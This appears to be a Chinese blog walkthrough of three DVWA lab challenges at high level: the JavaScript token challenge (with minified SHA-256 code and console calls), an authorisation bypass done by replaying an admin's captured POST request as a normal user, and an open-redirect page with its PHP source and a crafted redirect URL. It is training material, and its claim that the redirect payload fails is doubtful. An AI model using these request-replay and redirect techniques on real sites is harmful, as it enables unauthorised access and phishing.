        var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];
        if (!this.is224) {
            hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]
        }
        return hex
    };
    Sha256.prototype.toString = Sha256.prototype.hex;
    Sha256.prototype.digest = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
        var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];
        if (!this.is224) {
            arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)
        }
        return arr
    };
    Sha256.prototype.array = Sha256.prototype.digest;
    Sha256.prototype.arrayBuffer = function() {
        this.finalize();
        var buffer = new ArrayBuffer(this.is224 ? 28 : 32);
        var dataView = new DataView(buffer);
        dataView.setUint32(0, this.h0);
        dataView.setUint32(4, this.h1);
        dataView.setUint32(8, this.h2);
        dataView.setUint32(12, this.h3);
        dataView.setUint32(16, this.h4);
        dataView.setUint32(20, this.h5);
        dataView.setUint32(24, this.h6);
        if (!this.is224) {
            dataView.setUint32(28, this.h7)
        }
        return buffer
    };

    function HmacSha256(key, is224, sharedMemory) {
        var i, type = typeof key;
        if (type === 'string') {
            var bytes = [],
                length = key.length,
                index = 0,
                code;
            for (i = 0; i < length; ++i) {
                code = key.charCodeAt(i);
                if (code < 0x80) {
                    bytes[index++] = code
                } else if (code < 0x800) {
                    bytes[index++] = (0xc0 | (code >> 6));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else if (code < 0xd800 || code >= 0xe000) {
                    bytes[index++] = (0xe0 | (code >> 12));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else {
                    code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));
                    bytes[index++] = (0xf0 | (code >> 18));
                    bytes[index++] = (0x80 | ((code >> 12) & 0x3f));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                }
            }
            key = bytes
        } else {
            if (type === 'object') {
                if (key === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {
                    key = new Uint8Array(key)
                } else if (!Array.isArray(key)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
        }
        if (key.length > 64) {
            key = (new Sha256(is224, true)).update(key).array()
        }
        var oKeyPad = [],
            iKeyPad = [];
        for (i = 0; i < 64; ++i) {
            var b = key[i] || 0;
            oKeyPad[i] = 0x5c ^ b;
            iKeyPad[i] = 0x36 ^ b
        }
        Sha256.call(this, is224, sharedMemory);
        this.update(iKeyPad);
        this.oKeyPad = oKeyPad;
        this.inner = true;
        this.sharedMemory = sharedMemory
    }
    HmacSha256.prototype = new Sha256();
    HmacSha256.prototype.finalize = function() {
        Sha256.prototype.finalize.call(this);
        if (this.inner) {
            this.inner = false;
            var innerHash = this.array();
            Sha256.call(this, this.is224, this.sharedMemory);
            this.update(this.oKeyPad);
            this.update(innerHash);
            Sha256.prototype.finalize.call(this)
        }
    };
    var exports = createMethod();
    exports.sha256 = exports;
    exports.sha224 = createMethod(true);
    exports.sha256.hmac = createHmacMethod();
    exports.sha224.hmac = createHmacMethod(true);
    if (COMMON_JS) {
        module.exports = exports
    } else {
        root.sha256 = exports.sha256;
        root.sha224 = exports.sha224;
        if (AMD) {
            define(function() {
                return exports
            })
        }
    }
})();

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

关键部分

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

由于执行 token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的 click 事件一起执行。

攻击方式
和前 2 个等级差不多,依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行 token_part_3()。
token 的步骤是:

1、执行token_part_1("ABCD", 44)
2、执行token_part_2("XX")(原本是延迟 300ms执行的那个)
3、点击按钮的时候执行 token_part_3

所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)和token_part_2("XX")这两个函数就可以了。

成功

Authorisation Bypass

首先需要区别身份验证和授权身份验证. 这个漏洞简而言之就是越权漏洞

首先当我们登陆的是admin管理员账户时我们发现,我么有这个实验,

当我们以用户身份访问时,不存在这个实验

让我们看一下high level他给了什么限制

首先我们使用admin账号updata,抓包,获取他的访问地址和post传的参数
再使用普通用户访问该网页,使用bp抓包,右键修改为post传参
输入admin用户的post传参

修改值后放包即可

Open HTTP Redirect

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (strpos($_GET['redirect'], "info.php") !== false) {
        header ("location: " . $_GET['redirect']);
        exit;
    } else {
        http_response_code (500);
        ?>
        <p>You can only redirect to the info page.</p>
        <?php
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?> 
首先,检查 $_GET 数组中是否存在名为 "redirect" 的参数,并且该参数的值不为空。

如果满足上述条件,进一步检查 $_GET['redirect'] 参数中是否包含字符串 "info.php"。这里使用了 strpos() 函数来检查字符串中是否包含指定的内容。

如果 $_GET['redirect'] 参数包含字符串 "info.php",则使用 header() 函数进行重定向,将用户重定向到 $_GET['redirect'] 中指定的页面。

如果 $_GET['redirect'] 参数不包含字符串 "info.php",则返回 HTTP 响应码 500(服务器内部错误)并输出一段提示信息:"You can only redirect to the info page."

如果没有传递 "redirect" 参数,或者其值为空,则同样返回 HTTP 响应码 500,并输出另一段提示信息:"Missing redirect target."
例如 当该网页没有设定a参数的get传参时
GET ?redirect=https//www.baidu.com/?a=info.php 是无效的
因为字符串"info.php"并未传递给合法的参数
http://127.0.0.1/DVWA-new/vulnerabilities/open_redirect/source/high.php?redirect=http://www.baidu.com/?a=info.php

Views: 10

退出移动版